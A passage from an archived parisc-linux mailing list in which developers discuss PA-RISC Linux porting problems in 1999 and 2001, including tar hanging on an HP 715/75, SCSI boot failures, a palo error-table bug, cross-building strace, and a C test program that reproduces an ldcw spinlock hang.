712-100   Linux 2.4.0-t   100    22     22    223    No L1 cache?
c3k-j09-3 Linux 2.4.0-t   400


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tar hangs on 715/75
Date: Mon, 22 Jan 2001 11:44:01 -0600 (CST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101221123580.19359-100000@maestro.symsys.com>
References: <20010122165014.O3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619570 11060 80.91.229.3 (22 Nov 2014 01:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: ingram@symsys.com  Mon Jan 22 10:47:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13683
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 10:47:32 -0700
Original-Received: (qmail 31491 invoked by uid 15267); 22 Jan 2001 17:51:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16532 invoked from network); 22 Jan 2001 17:44:11 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 17:44:11 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id LAA19504;
	Mon, 22 Jan 2001 11:44:01 -0600
In-Reply-To: <20010122165014.O3571@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9318


On Mon, 22 Jan 2001, Richard Hirst wrote:

[ snip! ]

> Do other people see this problem on 715/old machines?  Just type 'tar';
> if you have the problem you'll never see the usage message.
> 
> Even better, does anyone have any suggestions as to what might be
> causing it?  I am using taggarts new tarball nfsroot.

My C100 barfs (Bus error) when I run tar or make (and probably other
programs I haven't discovered).  dmesg shows:

!!die_if_kernel: tar(6969): Unaligned data reference 28
 
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 40149938 4015dc7b 401470d4
r4-7     40168148 00000000 00000031 001e8481
r8-11    bb0001a8 bb0001a0 00000001 4001ada0
r12-15   4001ad7c 00000000 0009c5b0 00000000
r16-19   00000000 00000001 0000b71b 40168148
r20-23   001e8000 40159f14 bb000454 00000008
r24-27   40161460 00000000 401470d4 00076808
r28-31   00000016 00000000 bb000700 4006e987
sr0-3    00005187 00005187 00000000 00005187
sr4-7    00005187 00005187 00005187 00005187
 
IASQ: 00005187 00005187 IAOQ: 4015e0ab 4015e0af
 IIR: 0c6011d4    ISR: 00005187  IOR: 401470d4
ORIG_R28: 00000000 

I don't know if this may in any way be related.

- Greg



From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Mon, 22 Jan 2001 19:05:58 +0100
Organization: private
Lines: 71
Approved: news@gmane.org
Message-ID: <3A6C7686.1FC5F754@dot.at>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619570 11064 80.91.229.3 (22 Nov 2014 01:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:10 +0000 (UTC)
Cc: Jim Buttafuoco <jim@tylerdrive.org>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: christoph.plattner@dot.at  Mon Jan 22 11:03:17 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA14273
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 11:02:44 -0700
Original-Received: (qmail 30197 invoked by uid 15267); 22 Jan 2001 18:06:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30163 invoked from network); 22 Jan 2001 18:06:24 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 18:06:24 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-015.dot.at [212.9.128.55])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id TAA18599;
	Mon, 22 Jan 2001 19:13:34 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9319

I have the same SCSI message on my 720. The problem here
is definitly only one device, the TEAC floppy on the
SCSI bus. When I disconnect it, it runs perfect.

So this message also shows problems with special devices.
I don't know, if there are incaptibilities in the devices
(under HP sometimes this drive is seen as boot device, some
times not....).

Ot there is a problem in the routine probing the devices ....

With friendly regards
	Christoph P.


Richard Hirst wrote:
> 
> On Mon, Jan 22, 2001 at 10:02:46AM -0500, Jim Buttafuoco wrote:
> >       This also fails.  attached is the boot log.
> 
> > SCSI subsystem driver Revision: 1.00
> > sim700: Couldn't get consistent shared memory
> > sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> > scsi0: Revision 0x0
> > Post test1, istat 05, sstat0 00, dstat 84
> > sim700: WARNING IRQ probe failed, (returned 0)
> > scsi0: WARNING: target data areas are not dma coherent!
> > scsi0: test 1 completed ok.
> 
> Well, scsi is happier now.  The messages above are expected, and
> test 1 passing means the scsi chip can access memeory ok.
> 
> > scsi0 : LASI/Simple 53c7xx
> > scsi0: Unable to abort command for target 0
> > scsi0: Unable to send Bus Device Reset for target 0
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: could not halt NCR chip, stage 0
> > scsi0: Unable to abort command for target 1
> > scsi0: Unable to send Bus Device Reset for target 1
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> 
> Those messages might be caused by an unterminated scsi bus, or by
> a problem with interrupts.
> 
> The network problem still looks like interrupts from the 82596 are
> disabled somehwere and not getting to the processor.
> 
> Still seems likely to me that the kernel is not enabling some interrupts
> properly for the 710 bushmaster machines.
> 
> Anyone on the list got a similar machine working?  The h/w database
> lists quite a few people as owning one of these boxes.
> 
> My 715 now works as far as scsi and network are concerned, but (a) I
> have to disable nscd, (b) tar hangs, and (c) I have disabled parallel
> port support.  nscd and tar both seem to go in to a loop calling
> sched_yield() from libc.
> 
> Richard
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug in palo/palo/error.c
Date: Mon, 22 Jan 2001 19:13:42 +0100
Organization: private
Lines: 27
Approved: news@gmane.org
Message-ID: <3A6C7856.BD460E1F@dot.at>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619570 11067 80.91.229.3 (22 Nov 2014 01:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Mon Jan 22 11:09:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA14483
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 11:09:54 -0700
Original-Received: (qmail 10614 invoked by uid 15267); 22 Jan 2001 18:13:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10590 invoked from network); 22 Jan 2001 18:13:45 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 18:13:45 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-015.dot.at [212.9.128.55])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id TAA18666
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 19:21:17 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9320

In the file `palo/palo/error.c' a bug is in the char array
`*errormessages[]'. After `#include "usage.h"' there must be
a comma (or at the end of `usage.h', but this is a bad solution,
as I cannot use this long text on another position).

I got the error "10" but the message of error "11" as message "0"
(usage) and message "1" are concanated together !!

By the way: The PALO documentation should include a hint, that
I have to produce a PC-(intel)-compatible disk partition table.
My SCSI disk, I prepared was connected to a SUN and I have forgotten,
that there are differences in the layout, although it is no
problem to build the code on a x86 machine and run plao on 
a sun. 

So, if palo (or HP itself) has the restriction, only to handle 
X86 (DOS) Partition table format, then please mention it....

With friendly regards

	Christoph


-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@mozilla.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Creating a bootable image.
Date: Tue, 01 Jun 1999 10:06:50 -0400
Organization: mozilla.org diplomatic corps
Lines: 21
Approved: news@gmane.org
Message-ID: <3753E8FA.3B109474@mozilla.org>
References: <Pine.LNX.3.96.990601002832.8814F-100000@devserv.devel.redhat.com> <19990601091601.A6399@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619571 11069 80.91.229.3 (22 Nov 2014 01:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:11 +0000 (UTC)
Cc: Alex deVries <adevries@redhat.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: shaver@mozilla.org  Tue Jun  1 07:59:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA08972
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 07:59:30 -0600
Original-Received: (qmail 1969 invoked by uid 15267); 1 Jun 1999 13:58:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1961 invoked from network); 1 Jun 1999 13:58:40 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 13:58:40 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id GAA18394
	for <parisc-linux@thepuffingroup.com>; Tue, 1 Jun 1999 06:58:49 -0700 (PDT)
Original-Received: from mozilla.org ([205.217.243.67]) by tintin.mcom.com
          (Netscape Messaging Server 4.03) with ESMTP id FCNIU100.4LX;
          Tue, 1 Jun 1999 06:58:49 -0700 
Original-Sender: shaver@netscape.com
X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.3-5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9321

Philipp Rumpf wrote:
> > and it'll create a kernel and boot header that should just boot right
> > away.  That way to do kernel work (and not bootstrap work), you don't need
> > HPUX at all.
> 
> I think the vast majority of parisc boxes runs HP-UX at the moment so it
> probably would not be a big win.

I think that being able to cross your kernel is a big win, since it
makes the edit-compile-test cycle much shorter if you've got a spare
machine off of which to netboot.

I've got the linker script documentation printed and waiting for my move
to safely complete, but someone who's got their hands in already should
feel free to pre-empt me.

Mike

-- 
40858.97 38157.23


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] newbie question
Date: Mon, 22 Jan 2001 19:16:47 +0100
Organization: private
Lines: 35
Approved: news@gmane.org
Message-ID: <3A6C790F.84C27CBE@dot.at>
References: <000101c08486$7f61bdd0$da43740f@spawn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619571 11073 80.91.229.3 (22 Nov 2014 01:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: sanaya@gr.hp.com
Original-X-From: christoph.plattner@dot.at  Mon Jan 22 11:16:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA14809
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 11:16:41 -0700
Original-Received: (qmail 23527 invoked by uid 15267); 22 Jan 2001 18:20:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23304 invoked from network); 22 Jan 2001 18:20:25 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 18:20:25 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-015.dot.at [212.9.128.55])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id TAA18675;
	Mon, 22 Jan 2001 19:24:23 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9322

First of all, you need a linux box to prepare the CD image
(with palo) and to generate a CD image. This image can be 
burned on a Windows box, as far as the burning program can
accept that.

	Christoph

Sean Anaya wrote:
> 
> Hi all,
> 
> I have acquired an HP Visualize C180-XP machine at work (first time I have
> played with an HP unix box) and would like to install HP Linux on it. Since
> I don't have access to another linux machine for tftpbooting it seems the
> best way to install linux is to make a bootable CD. So my question is how do
> I burn a bootable CD once I have everything that needs to be on the CD. I
> have access to a CD burner/software on a windows machine, but I don't know
> if that will work for an HP unix box. Any help or suggestions on a better
> way to install linux would be greatly appreciated. I'm more familiar with
> older Sun machines than I am with HP's.
> 
> Thanks,
> 
> Sean Anaya
> sanaya@gr.hp.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace ??? - is there any ???
Date: Mon, 22 Jan 2001 21:01:15 +0100
Organization: private
Lines: 22
Approved: news@gmane.org
Message-ID: <3A6C918B.A6287A24@dot.at>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com> <3A6C7686.1FC5F754@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619571 11074 80.91.229.3 (22 Nov 2014 01:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Mon Jan 22 12:57:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16217
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 12:57:33 -0700
Original-Received: (qmail 10337 invoked by uid 15267); 22 Jan 2001 20:01:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10258 invoked from network); 22 Jan 2001 20:01:18 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 20:01:18 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-044.dot.at [212.9.128.84])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id VAA19346
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 21:08:52 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9323

I often use strace to analyse the problems I have with
applications. Espacially I had success in analysing problems
around a bash which is directly called by the kernel
by editing the kernel (init/main.c) to directly start a 
statically linked strace to start the bash.

To analyse the problem on the 720 (handler_interrupt)
I want to repeat this sucessful step, but I miss the
strace. 

Is ther any instrumented for HP PA-RISC ??

With friendly regards

	Christoph



-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace ??? - is there any ???
Date: Mon, 22 Jan 2001 20:15:17 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20010122201517.P3571@linuxcare.com>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com> <3A6C7686.1FC5F754@dot.at> <3A6C918B.A6287A24@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619572 11077 80.91.229.3 (22 Nov 2014 01:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 13:21:09 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA16634
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 13:21:07 -0700
Original-Received: (qmail 21038 invoked by uid 15267); 22 Jan 2001 20:24:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21029 invoked from network); 22 Jan 2001 20:24:57 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 20:24:57 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C1DACB005; Mon, 22 Jan 2001 20:15:17 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A6C918B.A6287A24@dot.at>; from christoph.plattner@dot.at on Mon, Jan 22, 2001 at 09:01:15PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9324

On Mon, Jan 22, 2001 at 09:01:15PM +0100, Christoph Plattner wrote:
> I often use strace to analyse the problems I have with
> applications. Espacially I had success in analysing problems

strace source is in cvs on puffin.external.hp.com, but you need to
check it out and build it yourself at the moment.

Richard


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tar hangs on 715/75 (spinlock problem)
Date: Mon, 22 Jan 2001 21:32:19 +0000
Lines: 74
Approved: news@gmane.org
Message-ID: <20010122213219.Q3571@linuxcare.com>
References: <20010122165014.O3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619572 11079 80.91.229.3 (22 Nov 2014 01:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 14:38:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA17411
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 14:38:13 -0700
Original-Received: (qmail 27439 invoked by uid 15267); 22 Jan 2001 21:42:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27422 invoked from network); 22 Jan 2001 21:42:03 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 21:42:03 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A37FAB005; Mon, 22 Jan 2001 21:32:19 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010122165014.O3571@linuxcare.com>; from rhirst@linuxcare.com on Mon, Jan 22, 2001 at 04:50:14PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9325

On Mon, Jan 22, 2001 at 04:50:14PM +0000, Richard Hirst wrote:
> Hi,
>   tar (and nscd) hang on my 715/75.  Same binaries/libraries work on
> the B180.  The hang is in __pthread_acquire() called from

This is because ldcw behaves differently on the 715/75 and the B180.

Take this code (which is basically a bit of libpthread):


========================= ldcw.c =============================
#include <stdio.h>
#include <time.h>

#define MAX_SPIN_COUNT  32
#define SPIN_SLEEP_DURATION     2000000

extern inline long int
testandset (int *spinlock)
{
  int ret;

  __asm__ __volatile__(
       "ldcw 0(%2),%0"
       : "=r"(ret), "=m"(*spinlock)
       : "r"(spinlock));

  return ret == 0;
}


static void __pthread_acquire(int * spinlock)
{
  int cnt = 0;
  struct timespec tm;

  while (testandset(spinlock)) {
    if (cnt < MAX_SPIN_COUNT) {
      sched_yield();
      cnt++;
    } else {
      tm.tv_sec = 0;
      tm.tv_nsec = SPIN_SLEEP_DURATION;
      nanosleep(&tm, NULL);
      cnt = 0;
    }
  }
}

int s = 1;

int main(int argc, char **argv)
{
//      printf("&s = %p\n", &s);
        __pthread_acquire(&s);

        return 0;
}
================================================================


and compile with "gcc -O -Wall -o ldcw ldcw.c"

Run it on a B180 and it completes; run it on a 715/75 and it loops
in __pthread_acquire().

If you uncomment the printf at the beginning of main() it completes
on the 715/75 also.

Is there some cacheline requirements on spinlocks that libpthread needs
to take in to account?

Richard


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Further (build ?): [parisc-linux] strace ??? - is there any ???
Date: Mon, 22 Jan 2001 22:43:12 +0100
Organization: private
Lines: 42
Approved: news@gmane.org
Message-ID: <3A6CA970.7F8F82DF@dot.at>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com> <3A6C7686.1FC5F754@dot.at> <3A6C918B.A6287A24@dot.at> <20010122201517.P3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619572 11082 80.91.229.3 (22 Nov 2014 01:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: christoph.plattner@dot.at  Mon Jan 22 14:39:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA17484
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 14:39:26 -0700
Original-Received: (qmail 29809 invoked by uid 15267); 22 Jan 2001 21:43:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29789 invoked from network); 22 Jan 2001 21:43:17 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 21:43:17 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-026.dot.at [212.9.128.66])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id WAA20080;
	Mon, 22 Jan 2001 22:50:49 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9326

Hallo Mr Hirst !

Now I have following problem. What is the clean
way to build such autoconfigured tool cross ?

Is it via `--target=hppa-linux', but here it will build for i386 !
Or is it `--host=hppa-linux --build=i386-linux' ??? 

Or have I to define a CC=/usr/parisc/bin/hppa-linux-gcc ?

Must I use CC= also on configure and make or only on make
or configure..... 

... etc....

How to do this in the correct way ?

Thanks

	Christoph


Richard Hirst wrote:
> 
> On Mon, Jan 22, 2001 at 09:01:15PM +0100, Christoph Plattner wrote:
> > I often use strace to analyse the problems I have with
> > applications. Espacially I had success in analysing problems
> 
> strace source is in cvs on puffin.external.hp.com, but you need to
> check it out and build it yourself at the moment.
> 
> Richard
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Further (build ?): [parisc-linux] strace ??? - is there any ???
Date: Mon, 22 Jan 2001 22:46:23 +0100
Organization: private
Lines: 54
Approved: news@gmane.org
Message-ID: <3A6CAA2F.16CB69AB@dot.at>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com> <3A6C7686.1FC5F754@dot.at> <3A6C918B.A6287A24@dot.at> <20010122201517.P3571@linuxcare.com> <3A6CA970.7F8F82DF@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619573 11085 80.91.229.3 (22 Nov 2014 01:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:13 +0000 (UTC)
To: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Mon Jan 22 14:42:38 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA17695
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 14:42:38 -0700
Original-Received: (qmail 2874 invoked by uid 15267); 22 Jan 2001 21:46:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2866 invoked from network); 22 Jan 2001 21:46:29 -0000
